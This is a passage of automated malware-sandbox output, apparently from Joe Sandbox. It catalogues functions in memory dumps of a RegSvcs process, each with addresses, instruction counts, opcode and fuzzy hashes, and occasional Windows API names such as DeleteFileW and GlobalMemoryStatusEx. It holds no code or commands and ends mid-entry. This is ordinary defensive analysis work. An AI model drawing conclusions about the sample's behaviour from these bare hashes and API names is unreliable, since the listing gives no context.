Opcode ID: f9aac19b71c00e7a34be6f7099e129e3c34f583b4debdf809e0ba3154ee1f32d
Instruction ID: 01535f1e721235e447802ad9c1e13da4e158e8c748b49bd59133dda90a1480e9
Opcode Fuzzy Hash: f9aac19b71c00e7a34be6f7099e129e3c34f583b4debdf809e0ba3154ee1f32d
Instruction Fuzzy Hash: D62137B2800259CFDB10CF9AD5847EEBBF4AF48310F14845AE459B7351D778A944DF60

Function 00DE7AA0 Relevance: 1.6, APIs: 1, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000), ref: 00DE8FC0

Memory Dump Source

Source File: 0000000C.00000002.3369115971.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_de0000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 3d42b06ffe85b6640484dd4e803ac53c5fc9ef42c7686845ffc121c17b09b7e2
Instruction ID: c20c7a5a3012257eb2663d95c04cec84fbc5056dd06cfc03760599cfdefaecb2
Opcode Fuzzy Hash: 3d42b06ffe85b6640484dd4e803ac53c5fc9ef42c7686845ffc121c17b09b7e2
Instruction Fuzzy Hash: BA2133B1C0465A9BDB10DF9AC4447AEFBB4EF88320F14816AE918B7240D738A940CFA4

Function 00DE8F4F Relevance: 1.6, APIs: 1, Instructions: 54
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000), ref: 00DE8FC0

Memory Dump Source

Source File: 0000000C.00000002.3369115971.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_de0000_RegSvcs.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c3b2769651ab89831d1563c6f5a9980f72346b7d3782aaa38104b7e8b6885e0b
Instruction ID: def0de513c3e10933a763bd20996836ac9a0c851c69a8d36af4868e0c5bddede
Opcode Fuzzy Hash: c3b2769651ab89831d1563c6f5a9980f72346b7d3782aaa38104b7e8b6885e0b
Instruction Fuzzy Hash: 511130B2C0065A8FDB10DF9AC5447AEFBB4BF48320F14852AD818B7640D738AA40CFA4

Function 00DEF7D8 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00DEF83F

Memory Dump Source

Source File: 0000000C.00000002.3369115971.0000000000DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_de0000_RegSvcs.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 5b3ca641e05a8af5ba42a6449b0498053f2f0103281248483fc3e9578c232123
Instruction ID: 886d33c0ab4a1ea9d6c84c575e4bc0e1a50a5dd30a94e38ce23558b2cbd6bdcb
Opcode Fuzzy Hash: 5b3ca641e05a8af5ba42a6449b0498053f2f0103281248483fc3e9578c232123
Instruction Fuzzy Hash: 9C1120B1C0065A9FDB10DF9AC444BDEFBF8BF48320F14812AD918A7240D378A940CFA5

Function 0663FE82 Relevance: 1.3, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|, xrefs: 0663FEE0

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: ccf7741a5f46eb6b9efa2de9f0da291ba6079ff0b760929d17ee811ccc9babaf
Instruction ID: 6f319ff18cb280f0a6a12da656929d774ff19ab1ae5b5516c5898b387c12031e
Opcode Fuzzy Hash: ccf7741a5f46eb6b9efa2de9f0da291ba6079ff0b760929d17ee811ccc9babaf
Instruction Fuzzy Hash: 3911AC75B102209FCB549B78C805BAEBBF1EF4C610F00446EE90AE73A0DB35A901CB90

Function 0663FE90 Relevance: 1.3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|, xrefs: 0663FEE0

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID: |
API String ID: 0-2343686810
Opcode ID: 58f01acbffe8ceab275780b0540a02c91c74554536bc9e81f8e889b9d0158cd5
Instruction ID: 96d965577c677506ab0974e6b4157dcb2035c7af1c5234b30c76f0f1cdee26e1
Opcode Fuzzy Hash: 58f01acbffe8ceab275780b0540a02c91c74554536bc9e81f8e889b9d0158cd5
Instruction Fuzzy Hash: F8114C75B102249FDB54AB788804B6E7BF5AF8C600F10446AE90AE73A0DB359901CB94

Function 0663EDD0 Relevance: 1.3, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

a, xrefs: 0663EDFF

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: 9eed2e21402720ba59a57905b655c64e1d189fc5d456bb21d783decde8e787f3
Instruction ID: 4a0dca58c1d0cc5b21fd9ca9337720dbee2a01d9d2de9b344c4e39fb2a09a6a4
Opcode Fuzzy Hash: 9eed2e21402720ba59a57905b655c64e1d189fc5d456bb21d783decde8e787f3
Instruction Fuzzy Hash: 9F014C32F151A48BEF118279DC517EB7FA5CB85230F2441BBD845DF642D6229C5387D2

Function 0663CEF8 Relevance: .8, Instructions: 801
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0082dbe427963d7503192eac1c31370d91d232c67758ba2a27d091628cab308
Instruction ID: e4e6ff42cfc9724128b83dca7514e143d41c396819d8344358b64057bc78ed3a
Opcode Fuzzy Hash: d0082dbe427963d7503192eac1c31370d91d232c67758ba2a27d091628cab308
Instruction Fuzzy Hash: 4C624B30A0061ACFDB55EB68D590A5DB7F2FF84300F248A69D4059F369DB75ED8ACB80

Function 0663DD00 Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2c4c17e55c430f89f920038af17f3e16e1dd8fe14c63c8b770f71ca49a04ad0
Instruction ID: 5b76251a13621fb55aaefdab9e98987a4839567e53bc5d4640c546a40efd0a49
Opcode Fuzzy Hash: b2c4c17e55c430f89f920038af17f3e16e1dd8fe14c63c8b770f71ca49a04ad0
Instruction Fuzzy Hash: 09F16134E002198FDB54DBA8D990BADB7B2FF89300F20852AE405EB355DB75ED46CB91

Function 0663AC70 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 282f0f04647abcdc9441a34bbae61185f6f287e92580f5c3e9901586b404c45c
Instruction ID: eeed0f8eaa4bad8ac1d8d73b22cf75fa7dd6565f8c3570466dadfccb1aca118f
Opcode Fuzzy Hash: 282f0f04647abcdc9441a34bbae61185f6f287e92580f5c3e9901586b404c45c
Instruction Fuzzy Hash: 74E17134E1025A8FDB59DFA8D8846AEB7F2FF85300F20852AD406DB355DB74D846CB90

Function 0663B1CA Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 295588b72984c03b31406aefb54e0569b3658b269badf16894631f871c43d7ed
Instruction ID: c8376dffe34f3d0384ae015626fa3f775339283997b8fe24d03253da490ee7b1
Opcode Fuzzy Hash: 295588b72984c03b31406aefb54e0569b3658b269badf16894631f871c43d7ed
Instruction Fuzzy Hash: 5DA1B634F101298FEF64DA6CC490BBE77E6FB99310F244526E505EB396CA34DC818791

Function 0663B5E0 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8cacd8d32a5d53304e2234e848b67475d407f36e09fb430949797c75ba874f3
Instruction ID: a5d721c5c047d02b49832ab1adc44738f602631ed5ef5e22815541a7d6f2e0b2
Opcode Fuzzy Hash: d8cacd8d32a5d53304e2234e848b67475d407f36e09fb430949797c75ba874f3
Instruction Fuzzy Hash: 0CA14B34E002298FDFA4CF68D4807ADB7B1EB9A310F24896AE455DB391DB34ED85CB51

Function 066390F0 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9c6444e7cf6e34193f4b737b9c52998aa11e6a8bf7b8bd56a295153b4578b99
Instruction ID: c0dc2241124380e04b13b13f60e80a61e5f1bab2d0ebc3cd308bdb378accae27
Opcode Fuzzy Hash: c9c6444e7cf6e34193f4b737b9c52998aa11e6a8bf7b8bd56a295153b4578b99
Instruction Fuzzy Hash: 9C913F35B1125A8FDB54DB75D890BAEB3F6AF88300F10856AD80AEB344EF709D458F91

Function 06635D88 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a665eb8b63adbf0dafda61b226a620b94708f0e1f82835cefac92a55a47da25
Instruction ID: 50420f8bbb24350e1a5db32ccdb45fa1f68c77aba62416a7a9e1ddb6b701f1b4
Opcode Fuzzy Hash: 0a665eb8b63adbf0dafda61b226a620b94708f0e1f82835cefac92a55a47da25
Instruction Fuzzy Hash: 3761C271F005214BDF54AA7ECC84A6FBAD7EFC4610B25443AE80ADB3A4DEA5DD0287C5

Function 06633E51 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ba4c043879359cd7de2c3de149adf3e744a44987178627c434f6bb68760141a
Instruction ID: b1b1ce558f38bbb0d8526ca8b7ebc77123397c961aff7b8908b75277b6f1c6b7
Opcode Fuzzy Hash: 4ba4c043879359cd7de2c3de149adf3e744a44987178627c434f6bb68760141a
Instruction Fuzzy Hash: 24812D34B1165A8FDF54DBA8D4947AEB7F2AF89300F108429E40AEB394EB35DC468B51

Function 06634174 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdc98d0060083929558cfd27434da4fad8ad7a250588de23195d8ed93dcd384c
Instruction ID: 7e5cd08a8a530c775d01ea6a5ecbd973f9aa92485aa576b8a0d92d2c51e51250
Opcode Fuzzy Hash: cdc98d0060083929558cfd27434da4fad8ad7a250588de23195d8ed93dcd384c
Instruction Fuzzy Hash: 60913C30E106198BDF60DF68C890B9DF7B1FF89310F208695D549BB355DB71AA86CB90

Function 06633E60 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7f9cd6f5772d6dae82380be26ae8921e115e658e0768dc4117387cf780e3b07
Instruction ID: 1c8873554980d2154c80277d4a2cab871cee037f7862b307abd324c30f28efc5
Opcode Fuzzy Hash: b7f9cd6f5772d6dae82380be26ae8921e115e658e0768dc4117387cf780e3b07
Instruction Fuzzy Hash: C8811B34B1165A8FDF54DBA8D4947AEB7F2AF89300F108429E40AEB394EF35DC428B51

Function 06634188 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1f6afe9a0eb945e0e1da6a9031f34266c99956b45d3b5630658a76df45c38ff
Instruction ID: 271650e25eafcfaab488a90437b591b3607a47962937f184c2d3e1d4a92d2772
Opcode Fuzzy Hash: b1f6afe9a0eb945e0e1da6a9031f34266c99956b45d3b5630658a76df45c38ff
Instruction Fuzzy Hash: 8E91FC30E1061A8BDF60DF68C890B9DF7B1FF89310F208599D549BB355DB71AA868F90

Function 0663EAB9 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 276daa33700287d13f7e7d55b038280dd339a755222c9b3c9748e2e4ba7045c6
Instruction ID: edd00c8e97937abd37841fb444f3de174c8df54a0e56bfd591c5877092f17a57
Opcode Fuzzy Hash: 276daa33700287d13f7e7d55b038280dd339a755222c9b3c9748e2e4ba7045c6
Instruction Fuzzy Hash: EF715E30A006199FDB54DFA9D980AADBBF6FF84310F14846AE016EB355DB31ED46CB50

Function 0663EAC8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9efed3061b64ed3b8ccb8add8a0de76c30b44647bafe7557b480d88c0e3bce1b
Instruction ID: a77c1cc303afa2289eec8a293bdbc43289e77e992350e553028e6d21b3979e9b
Opcode Fuzzy Hash: 9efed3061b64ed3b8ccb8add8a0de76c30b44647bafe7557b480d88c0e3bce1b
Instruction Fuzzy Hash: E2714D30A006199FDB54DFA9D980AADBBF6FF84300F14846AE016EB355DB71ED46CB50

Function 0663EDE0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dc04b4b2f6b576c7fff49c82f0452f9551e9cfcfae15e7c8033d261540519af
Instruction ID: 6ba96b7824a3e206fb3d33216cca502f81591b159342f94353197717b341d102
Opcode Fuzzy Hash: 5dc04b4b2f6b576c7fff49c82f0452f9551e9cfcfae15e7c8033d261540519af
Instruction Fuzzy Hash: F6715231E1031A8FDB14DFA5C4546AEB7F2FF88300F10866AD405AB355EBB1E986CB90

Function 0663DCF1 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afe1c0aff7a990a5425af5beb5d391f4fa9fccd6bc9b9c1e4e775c50a5838e8
Instruction ID: 3ebd0fd8e9fae53fb04c48efb491a708b188c05313c7fd77ba168de26aa37ebe
Opcode Fuzzy Hash: 4afe1c0aff7a990a5425af5beb5d391f4fa9fccd6bc9b9c1e4e775c50a5838e8
Instruction Fuzzy Hash: EB717270E102198FDF54DBA8D880BADB7B6EF89310F208526E405EB395DB75DC81CB91

Function 06634720 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52477962bc4ec0178a266d9693655481d64b43380b6a3f8063d181e3f3ab756c
Instruction ID: b92da91f0a66a80ba5a5576a7f596bfeb111fc571b0a69479ad2890be214978d
Opcode Fuzzy Hash: 52477962bc4ec0178a266d9693655481d64b43380b6a3f8063d181e3f3ab756c
Instruction Fuzzy Hash: FE617130F002199FDF549FA4C855BAEBBF6EB88700F20842AE105EB395DF758C458B90

Function 0663FC20 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2842b35c8a37ec48e537115e0bfbc5f148f9707829f53e7bc5b268f5c468ce
Instruction ID: ce46b14311f3fa0a8563eaa0b0ffb6c12712ecac7eeec13804af5c1e0b613082
Opcode Fuzzy Hash: ee2842b35c8a37ec48e537115e0bfbc5f148f9707829f53e7bc5b268f5c468ce
Instruction Fuzzy Hash: C451D131E00219DFDF14AB78E8487ADB7B2FF88315F20886AE506D7361DB358955CB90

Function 0663F5C8 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2461f1c38bea6f14943bcb693bf149ae0bf9137f6fc1fe843168d5b64f08f8e
Instruction ID: 6d6690b8f5fb5c2287d34ab42a095ed97be148d2d92676ce1e08b075ea5c33b0
Opcode Fuzzy Hash: d2461f1c38bea6f14943bcb693bf149ae0bf9137f6fc1fe843168d5b64f08f8e
Instruction Fuzzy Hash: C051C534F202659FEF64666CD89477F3A6ED789310F20443AE50AD73A6CA7CDC4183A2

Function 0663F5D8 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c83670952b76183a0223d674689c302ec19a08dc4189461f6384b0b0effb7db0
Instruction ID: 31eed8c1a69288b5fcdf00affed0c215d1eb00ad6fe1e48aa1f879e933e58048
Opcode Fuzzy Hash: c83670952b76183a0223d674689c302ec19a08dc4189461f6384b0b0effb7db0
Instruction Fuzzy Hash: 9451D434F101259FEF64666CE89477F366ED789310F20042AE10AD73A5CA7CDC8187A2

Function 066390DF Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dd52ad363bbabbe85f646c375ad5a55f8389d3a324b73d2be3825d440b7a442
Instruction ID: 9dadc8c44530f19d344f85eb025dc22a765162a0f85f7bc6cd0bc48104d3844c
Opcode Fuzzy Hash: 1dd52ad363bbabbe85f646c375ad5a55f8389d3a324b73d2be3825d440b7a442
Instruction Fuzzy Hash: 94516E35B051568FDB94DB74D990BAEB3F6AF88340F10856AC80AEB344EB70DC128F91

Function 06635140 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f4b51d288f7b639a6d37fe47a9309fc8d098912639b75f31b07ebe5bab57ad4
Instruction ID: f872dbd205921d342b3a628f52c77623fdbe6e8730a5f952736334f639f8d43d
Opcode Fuzzy Hash: 6f4b51d288f7b639a6d37fe47a9309fc8d098912639b75f31b07ebe5bab57ad4
Instruction Fuzzy Hash: D2418274E002158FDF64CEA9C980BBEB7B2FB85310F24892AE557DB391C635D981CB91

Function 06634710 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb680eeaeef78af50618dd5cae8fbd6ad80631678bbb97cbb80de2c7d57e5d4
Instruction ID: 3b25f0e26037a668fe43f69f81c847839a6565c2adf74456c31191c48e4c74b8
Opcode Fuzzy Hash: 5eb680eeaeef78af50618dd5cae8fbd6ad80631678bbb97cbb80de2c7d57e5d4
Instruction Fuzzy Hash: 7A417275F102089FDB559FA4C845BAEBBF6FF88710F20852AE105AB399DE718C458B90

Function 06634FD8 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de5f3e38f688f8a2d13efbb3f52de81f1790f16b6714fa587e382593748cb2e2
Instruction ID: 327db7efb723a071e593a16497a7af1225fad477e30b2c9aebee29adf13fc488
Opcode Fuzzy Hash: de5f3e38f688f8a2d13efbb3f52de81f1790f16b6714fa587e382593748cb2e2
Instruction Fuzzy Hash: 92416C71E006198BDF70CEA9D8C1AAFFBF2EB84314F10492AE256D7654D731E9458BD0

Function 0663DA6D Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1765109e14bcc86a290b4f79247aa1eef70ef461610f8013df087a6388bf0771
Instruction ID: 48e347a4c86f6fc224ccfc89cbe1aebc58a66cadab278cac488e53bec18dcd6f
Opcode Fuzzy Hash: 1765109e14bcc86a290b4f79247aa1eef70ef461610f8013df087a6388bf0771
Instruction Fuzzy Hash: DF41B270E1022A9FDB55DF75C984A9EBBB2FF85340F14452AE406DB340DB70E946CB91

Function 0663DA80 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 931498bd71d9d7f3bccbc20e4607bf3df880a82f57475fb29403ca7d43eaefba
Instruction ID: c42af5a109fcb6bb17fccf99af35a95710dc38077952076ff56195684810c3b7
Opcode Fuzzy Hash: 931498bd71d9d7f3bccbc20e4607bf3df880a82f57475fb29403ca7d43eaefba
Instruction Fuzzy Hash: 23417E70E1062ADFDB65DFA5C9847AEBBB6BF85340F20452AD406EB340DB70D946CB81

Function 066321C0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a41aa8842180e08532bba1816b2350ae170dd40b5255f81f2b01a0119bbf7c4
Instruction ID: e5e5f43fbbc52be2871eb84200bbb84f778dbbbeeefb1767fe36ba0603939463
Opcode Fuzzy Hash: 4a41aa8842180e08532bba1816b2350ae170dd40b5255f81f2b01a0119bbf7c4
Instruction Fuzzy Hash: 7731F030B0021A8FDB19AB74D964B6F7BE7AF89600F204469D402DB380DF31CE82CB90

Function 066321BF Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 121e6e24442c3713ad428b2e2ea479f48e4633ccab8aa8936eefad86c438e1a4
Instruction ID: d0eae2473905a208b397746bd30b53c10c882ac4669a9ea38193a3d723912147
Opcode Fuzzy Hash: 121e6e24442c3713ad428b2e2ea479f48e4633ccab8aa8936eefad86c438e1a4
Instruction Fuzzy Hash: 2631C130B102168FDB59AB74D964B7E77E7AF89600F244569D402DB385DF31CE86CB90

Function 06632080 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f8cd148d20644a4c431505c82c4202525d4e3ae5b32350335b38110860a39d
Instruction ID: ee21a9f18e0aaec4ba477daf11469492779a8a4b2be90b380aa9557c95d83a46
Opcode Fuzzy Hash: 50f8cd148d20644a4c431505c82c4202525d4e3ae5b32350335b38110860a39d
Instruction Fuzzy Hash: B0318230E106159BDB59CFA4D86869EF7F6BF89300F108519E906E7350DB71ED46CB40

Function 0663207F Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd800df170f3a4ebc3f475281623f74d253680551f9e1ddf9486752acf1cf1fb
Instruction ID: ecfa73fe194c44ca676e0039ebec43b5df17f3e0fd920577cc9aadec2dfe6411
Opcode Fuzzy Hash: dd800df170f3a4ebc3f475281623f74d253680551f9e1ddf9486752acf1cf1fb
Instruction Fuzzy Hash: 3031A030E106169BDB19CFA4D9A869EB7B6BF89300F108519E906EB350DB71ED46CB40

Function 06633A58 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3383508050.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6630000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ea61edb9811a41a26e6c806e0cd4f6978b1b9e7806c54093e20a1177e80362e
Instruction ID: 23b828575ca0d06cbbfea7705868fd4339a4f736497d7d4609048f4a56922192
Opcode Fuzzy Hash: 6ea61edb9811a41a26e6c806e0cd4f6978b1b9e7806c54093e20a1177e80362e
